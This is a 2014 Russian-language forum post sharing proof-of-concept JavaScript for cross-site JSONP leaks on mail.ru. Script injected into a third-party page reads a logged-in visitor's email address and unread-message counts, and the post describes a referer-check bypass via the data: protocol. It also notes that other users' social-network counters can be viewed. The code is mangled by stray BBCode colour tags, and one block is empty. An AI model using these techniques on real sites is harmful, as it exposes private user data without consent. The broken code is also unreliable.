Показать сообщение отдельно

  #13  
Старый 11.11.2014, 05:02
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Цитата:
Сообщение от WendM  
Может уже можно выкатить в паблик всю статью? Было бы интересно почитать
Еще не пора, потому что есть примеры, которые до сих пор работают. Но все равно выложу.

Сначала то, что уже пофиксили:

--------------------------------------------------

Логин на Яндексе



(нашел Uex Urgent)

upd:

Ящик mail.ru

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://swa.mail.ru/cgi-bin/counters?JSONP_call=a'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);

};

function[/
COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]email[/COLOR][COLOR="#007700"]);

};

[/
COLOR][COLOR="#0000BB"][/COLOR][/COLOR] 
(нашел Uex Urgent)

--------------------------------------------------

Баг на mail.ru, позволяющий узнать ящик пользователя, попытались пофиксить.

При запросе http://swa.mail.ru/cgi-bin/counters?JSONP_call=a теперь проверяется, чтобы сайт в реферере принадлежал мэйлру. Но если реферера нет, все работает нормально.

Используем протокол data, чтобы убрать реферер:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR] 
--------------------------------------------------

Количество непрочитанных сообщений в ящике mail.ru

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

[/
COLOR][COLOR="#0000BB"]_Counters[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Object[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]_Counters[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]prepare[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"];

var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://my.mail.ru/mail/anyname/counters'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);

};

function[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])

{

[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]MailUnreadMessages[/COLOR][COLOR="#007700"]);

};

[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR] 
Немного оффтопа:

По той же ссылке http://my.mail.ru/mail/anyname/counters кроме счетчика писем есть счетчики данных из соц.сети "Мой Мир" - непрочтенные сообщения, приглашения в сообщества, заявки в друзья. Смотреть можно не только свои данные, но и любого другого юзера соц.сети. Информацию о username@domain.ru можно посмотреть по ссылке http://my.mail.ru/domain/username/counters

Примечание: счетчик писем в ящике всегда показывает свое значение, независимо от пути в адресе counters

--------------------------------------------------
 
Ответить с цитированием